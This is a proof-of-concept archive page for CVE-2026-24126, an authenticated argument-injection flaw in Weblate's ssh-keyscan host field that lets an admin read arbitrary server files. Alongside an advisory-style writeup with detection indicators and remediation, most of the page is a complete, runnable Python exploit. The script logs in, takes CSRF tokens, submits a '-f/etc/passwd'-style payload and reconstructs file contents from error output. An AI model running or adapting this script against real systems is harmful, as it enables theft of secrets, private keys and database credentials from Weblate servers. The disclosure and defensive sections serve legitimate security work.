PoC Archive PoC Archive
High CVE-2026-24126 patched

Weblate Arbitrary File Read via ssh-keyscan Host Argument Injection — CVE-2026-24126

by Alejandro Baño (alexb616) · 2026-07-05

CVSS 6.5/10
Severity
High
CVE
CVE-2026-24126
Category
web
Affected product
Weblate (self-hosted translation platform)
Affected versions
All versions <= 5.15.2 (tested against 5.0.2 and 5.15.2; fixed in 5.16.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherAlejandro Baño (alexb616)
CVE / AdvisoryCVE-2026-24126
Categoryweb
SeverityHigh
CVSS Score6.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L, per source repository)
StatusPoC
Tagsweblate, argument-injection, command-injection, ssh-keyscan, arbitrary-file-read, authenticated, python, cwe-88
RelatedN/A

Affected Target

FieldValue
Software / SystemWeblate (self-hosted translation platform)
Versions AffectedAll versions <= 5.15.2 (tested against 5.0.2 and 5.15.2; fixed in 5.16.0)
Language / PlatformPython (PoC), Django-based Weblate backend
Authentication RequiredYes (Weblate administrator account)
Network Access RequiredYes

Summary

Weblate’s SSH host-key management feature (weblate/ssh/views.py, add_host_key()) passes the administrator-supplied host field straight into an ssh-keyscan subprocess invocation with no sanitization and no -- argument terminator. Because ssh-keyscan supports a -f <file> flag to read a list of target hostnames from a file, an authenticated admin can submit a host value like -f/etc/passwd to make the server run ssh-keyscan -f /etc/passwd, treating each line of the target file as a “hostname” it fails to resolve. The resulting per-line resolution errors are captured by Weblate’s error handler and reflected back into the page’s alert-danger block, effectively leaking the file’s contents line by line. The PoC script logs in as an admin, extracts the CSRF token, submits the crafted host value to /manage/ssh/, and parses the leaked file content out of the returned error text.


Vulnerability Details

Root Cause

add_host_key() builds the ssh-keyscan command line by directly appending the user-controlled host POST parameter without stripping leading dashes or inserting a -- terminator, allowing the value to be interpreted as a command-line flag (-f) rather than a hostname (classic argument injection, CWE-88).

Attack Vector

  1. Authenticate to the target Weblate instance as an administrator (or otherwise obtain admin session cookies).
  2. Fetch the SSH management page to obtain a valid CSRF token.
  3. Submit a POST request to /manage/ssh/ with host=-f<path> (e.g., -f/etc/passwd) and an action=add-host parameter.
  4. Weblate invokes ssh-keyscan -f <path> ..., which reads <path> as a hostname list and emits a resolution error for every line.
  5. Parse the returned alert-danger block in the HTTP response to reconstruct the target file’s contents from the per-line error messages.

Impact

An authenticated Weblate administrator-level attacker (or an attacker who has otherwise obtained/stolen admin credentials or a session) can read arbitrary files accessible to the Weblate server process, including application secrets (settings.py, .env), private SSH keys, and database credentials.


Environment / Lab Setup

Target:   Weblate <= 5.15.2 (tested on 5.0.2 and 5.15.2), self-hosted instance
Attacker: Python 3 with `requests` and `beautifulsoup4` (bs4) installed

Proof of Concept

PoC Script

See CVE-2026-24126.py in this folder.

1
python3 CVE-2026-24126.py -r https://target.example.com -u admin -p adminpassword -f /etc/passwd

The script logs into Weblate with the supplied admin credentials, extracts the CSRF token from the SSH management page, POSTs a host=-f<file> payload to /manage/ssh/, then parses the resulting alert-danger error block using regex patterns matching ssh-keyscan’s resolution-failure messages to reconstruct and print the target file’s contents.


Detection & Indicators of Compromise

POST /manage/ssh/ host=-f... action=add-host

Signs of compromise:

  • Requests to /manage/ssh/ with a host parameter beginning with -f or other leading-dash flag-like values.
  • Unusually large or repeated ssh-keyscan subprocess invocations/errors in server logs correlated with admin session activity.
  • Sensitive file contents (e.g., /etc/passwd, .env, private keys) appearing in web application error pages or logs.

Remediation

ActionDetail
Primary fixUpgrade to Weblate 5.16.0 or later, which adds proper input validation on the SSH host field.
Interim mitigationRestrict admin account access and monitor /manage/ssh/ requests; consider a WAF rule blocking host parameter values starting with - until patched.

References


Notes

Mirrored from https://github.com/alexb616/Weblate-CVE-2026-24126 on 2026-07-05.

CVE-2026-24126.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python
import requests
import argparse
import re
from bs4 import BeautifulSoup
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Debug configuration
proxies = {
    "http": "http://127.0.0.1:8080",
}

AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4495.75 Safari/537.36"

def parse_response(html_content):
    soup = BeautifulSoup(html_content, 'html.parser')

    # Look for the error block where the leaked data resides
    error_div = soup.find('div', class_='alert-danger')

    if not error_div:
        return "[-] Data block not found in the response."

    raw_text = error_div.get_text()

    patterns = [
        r"getaddrinfo\s+(.*?):\s+Name or service not known",
        r"write\s+\((.*?)\):\s+Connection refused",
        r"connect\s+[`'‘](.*?)['’]:\s+Network is unreachable"
    ]

    extracted_lines = []
    for pattern in patterns:
        matches = re.findall(pattern, raw_text, re.MULTILINE)
        for m in matches:
            line = m.strip()
            if line and "Could not get host key" not in line:
                extracted_lines.append(line)

    if not extracted_lines:
        return f"[-] Extraction failed. Raw text snippet: {raw_text[:100]}..."

    return "\n".join(list(dict.fromkeys(extracted_lines)))

def exploit(session, rhost, file):

    response_get = session.get(rhost, verify=False)
    soup = BeautifulSoup(response_get.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    endpoint = '/manage/ssh/'
    url = f"{rhost.rstrip('/')}{endpoint}"
    payload = f'-f{file}'

    headers = {
        "User-Agent": AGENT,
        "Referer": f"{rhost.rstrip('/')}/manage/ssh/"
    }

    data = {
        "csrfmiddlewaretoken": csrf_token,
        "host": payload,
        "port": 123,
        "action": "add-host"
    }

    print(f"[*] Sending payload to {url}, this could take some time, please be patient...")
    r = session.post(url, data=data, headers=headers, verify=False)

    print("\n[+] Extracted file content:")
    print("-" * 50)
    print(parse_response(r.text))
    print("-" * 50)
    print(f"[!] Exploit finished")

def login(rhost, username, password):

    session = requests.Session()
    login_url = f"{rhost.rstrip('/')}/accounts/login/"

    try:
        response_get = session.get(login_url, verify=False)

        soup = BeautifulSoup(response_get.text, 'html.parser')
        csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

        headers = {
            "User-Agent": AGENT,
            "Referer": login_url,
            "Origin": rhost,
            "Content-Type": "application/x-www-form-urlencoded"
        }

        payload = {
            "csrfmiddlewaretoken": csrf_token,
            "username": username,
            "password": password,
            "next": "/"
        }

        response_post = session.post(login_url, data=payload, headers=headers, verify=False)

        if response_post.status_code == 200 and "logout" in response_post.text.lower():
            print(f"\n[+] Login successful for user: {username}")
            return session
        else:
            print("[-] Login failed. Please check your credentials or CSRF token.")
            return None

    except Exception as e:
        print(f"[!] Network Error: {e}")
        return None

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Exploit script for Weblate SSH key management vulnerability.")
    parser.add_argument('-r','--rhost', type=str, required=True, help="Weblate Host (e.g., https://vulnerable-site.com)")
    parser.add_argument('-u','--username', type=str, required=True, help="Weblate Administrator Username")
    parser.add_argument('-p','--password', type=str, required=True, help="Weblate Administrator Password")
    parser.add_argument('-f','--file', type=str, required=True, help="Path to the file to read (e.g., /etc/passwd)")
    args = parser.parse_args()

    auth_session = login(args.rhost, args.username, args.password)

    if auth_session:
        exploit(auth_session, args.rhost, args.file)